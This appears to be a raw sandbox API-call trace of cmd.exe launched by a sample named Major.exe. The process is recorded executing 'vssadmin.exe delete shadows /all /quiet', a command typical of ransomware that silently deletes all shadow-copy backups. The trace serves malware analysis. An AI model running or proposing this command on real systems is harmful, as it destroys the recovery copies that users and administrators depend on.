__alignment2=0x0)) returned 0x30 [0086.887] VirtualQuery (in: lpAddress=0x61f8801000, lpBuffer=0x61f88ffbe0, dwLength=0x30 | out: lpBuffer=0x61f88ffbe0*(BaseAddress=0x61f8801000, AllocationBase=0x61f8800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.887] VirtualQuery (in: lpAddress=0x61f8804000, lpBuffer=0x61f88ffbe0, dwLength=0x30 | out: lpBuffer=0x61f88ffbe0*(BaseAddress=0x61f8804000, AllocationBase=0x61f8800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.887] VirtualQuery (in: lpAddress=0x61f8900000, lpBuffer=0x61f88ffbe0, dwLength=0x30 | out: lpBuffer=0x61f88ffbe0*(BaseAddress=0x61f8900000, AllocationBase=0x61f8900000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.887] GetConsoleOutputCP () returned 0x1b5 [0086.912] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0086.912] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6a7ee8150, Add=1) returned 1 [0086.912] _get_osfhandle (_FileHandle=1) returned 0xc [0086.912] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc04 | out: lpMode=0x7ff6a7effc04) returned 1 [0086.939] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.939] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc00 | out: lpMode=0x7ff6a7effc00) returned 1 [0086.951] _get_osfhandle (_FileHandle=1) returned 0xc [0086.951] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x0) returned 1 [0086.956] _get_osfhandle (_FileHandle=1) returned 0xc [0086.956] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc08 | out: lpMode=0x7ff6a7effc08) returned 1 [0086.962] _get_osfhandle (_FileHandle=1) returned 0xc [0086.962] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0086.968] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.968] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc0c | out: lpMode=0x7ff6a7effc0c) returned 1 [0086.981] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.981] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1e7) returned 1 [0087.021] GetEnvironmentStringsW () returned 0x202a6e25af0* [0087.021] GetProcessHeap () returned 0x202a6e20000 [0087.021] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0xb2e) returned 0x202a6e26630 [0087.021] FreeEnvironmentStringsA (penv="A") returned 1 [0087.021] GetProcessHeap () returned 0x202a6e20000 [0087.021] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0x8) returned 0x202a6e25af0 [0087.021] GetEnvironmentStringsW () returned 0x202a6e27170* [0087.021] GetProcessHeap () returned 0x202a6e20000 [0087.021] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0xb2e) returned 0x202a6e27cb0 [0087.021] FreeEnvironmentStringsA (penv="A") returned 1 [0087.021] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x61f88feb28 | out: phkResult=0x61f88feb28*=0x88) returned 0x0 [0087.022] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x61f88feb20, lpData=0x61f88feb40, lpcbData=0x61f88feb24*=0x1000 | out: lpType=0x61f88feb20*=0x0, lpData=0x61f88feb40*=0x4, lpcbData=0x61f88feb24*=0x1000) returned 0x2 [0087.022] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x61f88feb20, lpData=0x61f88feb40, lpcbData=0x61f88feb24*=0x1000 | out: lpType=0x61f88feb20*=0x4, lpData=0x61f88feb40*=0x1, lpcbData=0x61f88feb24*=0x4) returned 0x0 [0087.022] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x61f88feb20, lpData=0x61f88feb40, lpcbData=0x61f88feb24*=0x1000 | out: lpType=0x61f88feb20*=0x0, lpData=0x61f88feb40*=0x1, lpcbData=0x61f88feb24*=0x1000) returned 0x2 [0087.022] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x61f88feb20, lpData=0x61f88feb40, lpcbData=0x61f88feb24*=0x1000 | out: lpType=0x61f88feb20*=0x4, lpData=0x61f88feb40*=0x0, lpcbData=0x61f88feb24*=0x4) returned 0x0 [0087.022] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x61f88feb20, lpData=0x61f88feb40, lpcbData=0x61f88feb24*=0x1000 | out: lpType=0x61f88feb20*=0x4, lpData=0x61f88feb40*=0x40, lpcbData=0x61f88feb24*=0x4) returned 0x0 [0087.022] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x61f88feb20, lpData=0x61f88feb40, lpcbData=0x61f88feb24*=0x1000 | out: lpType=0x61f88feb20*=0x4, lpData=0x61f88feb40*=0x40, lpcbData=0x61f88feb24*=0x4) returned 0x0 [0087.022] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x61f88feb20, lpData=0x61f88feb40, lpcbData=0x61f88feb24*=0x1000 | out: lpType=0x61f88feb20*=0x0, lpData=0x61f88feb40*=0x40, lpcbData=0x61f88feb24*=0x1000) returned 0x2 [0087.022] RegCloseKey (hKey=0x88) returned 0x0 [0087.022] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x61f88feb28 | out: phkResult=0x61f88feb28*=0x88) returned 0x0 [0087.022] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x61f88feb20, lpData=0x61f88feb40, lpcbData=0x61f88feb24*=0x1000 | out: lpType=0x61f88feb20*=0x0, lpData=0x61f88feb40*=0x40, lpcbData=0x61f88feb24*=0x1000) returned 0x2 [0087.022] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x61f88feb20, lpData=0x61f88feb40, lpcbData=0x61f88feb24*=0x1000 | out: lpType=0x61f88feb20*=0x4, lpData=0x61f88feb40*=0x1, lpcbData=0x61f88feb24*=0x4) returned 0x0 [0087.022] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x61f88feb20, lpData=0x61f88feb40, lpcbData=0x61f88feb24*=0x1000 | out: lpType=0x61f88feb20*=0x0, lpData=0x61f88feb40*=0x1, lpcbData=0x61f88feb24*=0x1000) returned 0x2 [0087.022] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x61f88feb20, lpData=0x61f88feb40, lpcbData=0x61f88feb24*=0x1000 | out: lpType=0x61f88feb20*=0x4, lpData=0x61f88feb40*=0x0, lpcbData=0x61f88feb24*=0x4) returned 0x0 [0087.022] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x61f88feb20, lpData=0x61f88feb40, lpcbData=0x61f88feb24*=0x1000 | out: lpType=0x61f88feb20*=0x4, lpData=0x61f88feb40*=0x9, lpcbData=0x61f88feb24*=0x4) returned 0x0 [0087.022] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x61f88feb20, lpData=0x61f88feb40, lpcbData=0x61f88feb24*=0x1000 | out: lpType=0x61f88feb20*=0x4, lpData=0x61f88feb40*=0x9, lpcbData=0x61f88feb24*=0x4) returned 0x0 [0087.022] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x61f88feb20, lpData=0x61f88feb40, lpcbData=0x61f88feb24*=0x1000 | out: lpType=0x61f88feb20*=0x0, lpData=0x61f88feb40*=0x9, lpcbData=0x61f88feb24*=0x1000) returned 0x2 [0087.022] RegCloseKey (hKey=0x88) returned 0x0 [0087.022] time (in: timer=0x0 | out: timer=0x0) returned 0x5ccd3bba [0087.022] srand (_Seed=0x5ccd3bba) [0087.022] GetCommandLineW () returned="/C vssadmin.exe delete shadows /all /quiet" [0087.022] malloc (_Size=0x4000) returned 0x202a71955a0 [0087.023] GetCommandLineW () returned="/C vssadmin.exe delete shadows /all /quiet" [0087.023] malloc (_Size=0xffce) returned 0x202a6ff0080 [0087.023] ??_V@YAXPEAX@Z () returned 0x202a6ff0080 [0087.024] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x202a6ff0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.024] malloc (_Size=0xffce) returned 0x202a7000060 [0087.024] ??_V@YAXPEAX@Z () returned 0x202a7000060 [0087.025] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x202a7000060, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0087.025] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0087.025] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0087.025] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0087.025] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0087.025] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0087.025] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0087.025] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0087.025] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0087.025] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0087.025] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0087.025] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0087.025] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0087.025] GetProcessHeap () returned 0x202a6e20000 [0087.025] RtlFreeHeap (HeapHandle=0x202a6e20000, Flags=0x0, BaseAddress=0x202a6e26630) returned 1 [0087.025] GetEnvironmentStringsW () returned 0x202a6e25b10* [0087.026] GetProcessHeap () returned 0x202a6e20000 [0087.026] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0xb46) returned 0x202a6e26660 [0087.026] FreeEnvironmentStringsA (penv="A") returned 1 [0087.026] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0087.026] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0087.026] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0087.026] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0087.026] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0087.026] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0087.026] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0087.026] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0087.026] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0087.026] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0087.026] malloc (_Size=0xffce) returned 0x202a7010040 [0087.026] ??_V@YAXPEAX@Z () returned 0x202a7010040 [0087.027] GetProcessHeap () returned 0x202a6e20000 [0087.027] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0x40) returned 0x202a6e28820 [0087.027] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x202a7010040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.027] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x202a7010040, lpFilePart=0x61f88ff6a0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x61f88ff6a0*="Desktop") returned 0x17 [0087.028] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0087.028] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x61f88ff3d0 | out: lpFindFileData=0x61f88ff3d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x202a6e28870 [0087.028] FindClose (in: hFindFile=0x202a6e28870 | out: hFindFile=0x202a6e28870) returned 1 [0087.028] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x61f88ff3d0 | out: lpFindFileData=0x61f88ff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x202a6e28870 [0087.028] FindClose (in: hFindFile=0x202a6e28870 | out: hFindFile=0x202a6e28870) returned 1 [0087.028] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x61f88ff3d0 | out: lpFindFileData=0x61f88ff3d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd6bbca2c, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xd6bbca2c, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x202a6e28870 [0087.028] FindClose (in: hFindFile=0x202a6e28870 | out: hFindFile=0x202a6e28870) returned 1 [0087.028] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0087.029] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0087.029] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0087.029] GetProcessHeap () returned 0x202a6e20000 [0087.029] RtlFreeHeap (HeapHandle=0x202a6e20000, Flags=0x0, BaseAddress=0x202a6e26660) returned 1 [0087.029] GetEnvironmentStringsW () returned 0x202a6e20fc0* [0087.029] GetProcessHeap () returned 0x202a6e20000 [0087.029] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0xb7e) returned 0x202a6e29400 [0087.029] FreeEnvironmentStringsA (penv="=") returned 1 [0087.029] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x202a6ff0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.029] GetProcessHeap () returned 0x202a6e20000 [0087.029] RtlFreeHeap (HeapHandle=0x202a6e20000, Flags=0x0, BaseAddress=0x202a6e28820) returned 1 [0087.029] ??_V@YAXPEAX@Z () returned 0x1 [0087.029] ??_V@YAXPEAX@Z () returned 0x1 [0087.029] GetProcessHeap () returned 0x202a6e20000 [0087.029] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0x4016) returned 0x202a6e29f90 [0087.030] GetProcessHeap () returned 0x202a6e20000 [0087.030] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0x64) returned 0x202a6e20fc0 [0087.030] GetProcessHeap () returned 0x202a6e20000 [0087.030] RtlFreeHeap (HeapHandle=0x202a6e20000, Flags=0x0, BaseAddress=0x202a6e29f90) returned 1 [0087.030] GetConsoleOutputCP () returned 0x1b5 [0087.067] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0087.067] GetUserDefaultLCID () returned 0x409 [0087.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff6a7efbb78, cchData=8 | out: lpLCData=":") returned 2 [0087.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x61f88ffa60, cchData=128 | out: lpLCData="0") returned 2 [0087.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x61f88ffa60, cchData=128 | out: lpLCData="0") returned 2 [0087.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x61f88ffa60, cchData=128 | out: lpLCData="1") returned 2 [0087.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff6a7efbb68, cchData=8 | out: lpLCData="/") returned 2 [0087.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff6a7efbb00, cchData=32 | out: lpLCData="Mon") returned 4 [0087.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff6a7efbac0, cchData=32 | out: lpLCData="Tue") returned 4 [0087.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff6a7efba80, cchData=32 | out: lpLCData="Wed") returned 4 [0087.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff6a7efba40, cchData=32 | out: lpLCData="Thu") returned 4 [0087.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff6a7efba00, cchData=32 | out: lpLCData="Fri") returned 4 [0087.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff6a7efb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0087.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff6a7efb980, cchData=32 | out: lpLCData="Sun") returned 4 [0087.068] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff6a7efbb58, cchData=8 | out: lpLCData=".") returned 2 [0087.068] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff6a7efbb40, cchData=8 | out: lpLCData=",") returned 2 [0087.068] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0087.070] GetProcessHeap () returned 0x202a6e20000 [0087.070] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x0, Size=0x20c) returned 0x202a6e210a0 [0087.070] GetConsoleTitleW (in: lpConsoleTitle=0x202a6e210a0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.087] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0087.087] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0087.087] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0087.087] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0087.087] ??_V@YAXPEAX@Z () returned 0x1 [0087.088] GetProcessHeap () returned 0x202a6e20000 [0087.088] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0x4012) returned 0x202a6e29f90 [0087.088] GetProcessHeap () returned 0x202a6e20000 [0087.088] RtlFreeHeap (HeapHandle=0x202a6e20000, Flags=0x0, BaseAddress=0x202a6e29f90) returned 1 [0087.089] _wcsicmp (_String1="vssadmin.exe", _String2=")") returned 77 [0087.089] _wcsicmp (_String1="FOR", _String2="vssadmin.exe") returned -16 [0087.089] _wcsicmp (_String1="FOR/?", _String2="vssadmin.exe") returned -16 [0087.089] _wcsicmp (_String1="IF", _String2="vssadmin.exe") returned -13 [0087.089] _wcsicmp (_String1="IF/?", _String2="vssadmin.exe") returned -13 [0087.089] _wcsicmp (_String1="REM", _String2="vssadmin.exe") returned -4 [0087.089] _wcsicmp (_String1="REM/?", _String2="vssadmin.exe") returned -4 [0087.089] GetProcessHeap () returned 0x202a6e20000 [0087.089] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0xb0) returned 0x202a6e212c0 [0087.089] GetProcessHeap () returned 0x202a6e20000 [0087.089] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0x2a) returned 0x202a6e28820 [0087.089] GetProcessHeap () returned 0x202a6e20000 [0087.089] RtlAllocateHeap (HeapHandle=0x202a6e20000, Flags=0x8, Size=0x48) returned 0x202a6e21380 [0087.090] GetConsoleTitleW (in: lpConsoleTitle=0x61f88ff950, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.248] malloc (_Size=0xffce) returned 0x202a7000060 [0087.249] ??_V@YAXPEAX@Z () returned 0x202a7000060 [0087.249] malloc (_Size=0xffce) returned 0x202a7010040 [0087.249] ??_V@YAXPEAX@Z () returned 0x202a7010040 [0087.250] GetFileAttributesW (lpFileName="vssadmin.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\vssadmin.exe")) returned 0xffffffff [0087.250] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0087.250] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0087.250] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0087.250] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0087.250] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0087.251] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0087.251] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0087.251] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0087.251] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0087.251] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0087.251] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0087.251] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0087.251] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0087.251] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0087.251] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0087.251] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0087.251] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0087.251] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0087.251] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0087.251] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0087.251] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0087.251] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0087.251] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0087.251] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0087.251] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0087.251] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0087.251] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0087.251] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0087.251] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0087.251] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0087.251] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0087.251] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0087.251] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0087.251] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0087.251] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0087.251] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0087.251] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0087.251] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0087.251] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0087.251] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0087.251] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0087.251] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0087.251] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0087.251] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0087.251] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0087.251] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0087.251] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0087.251] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0087.251] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0087.252] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0087.252] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0087.252] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0087.252] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0087.252] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0087.252] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0087.252] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0087.252] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0087.252] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0087.252] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0087.252] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0087.252] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0087.252] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0087.252] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0087.252] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0087.252] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0087.252] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0087.252] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0087.252] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0087.252] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0087.252] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0087.252] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0087.252] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0087.252] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0087.252] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0087.252] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0087.252] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0087.252] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0087.252] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0087.252] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0087.252] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0087.252] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0087.252] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0087.252] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0087.252] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0087.252] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0087.252] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0087.252] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0087.253] ??_V@YAXPEAX@Z () returned 0x1 [0087.253] GetProcessHeap () returned 0x202a6e20000 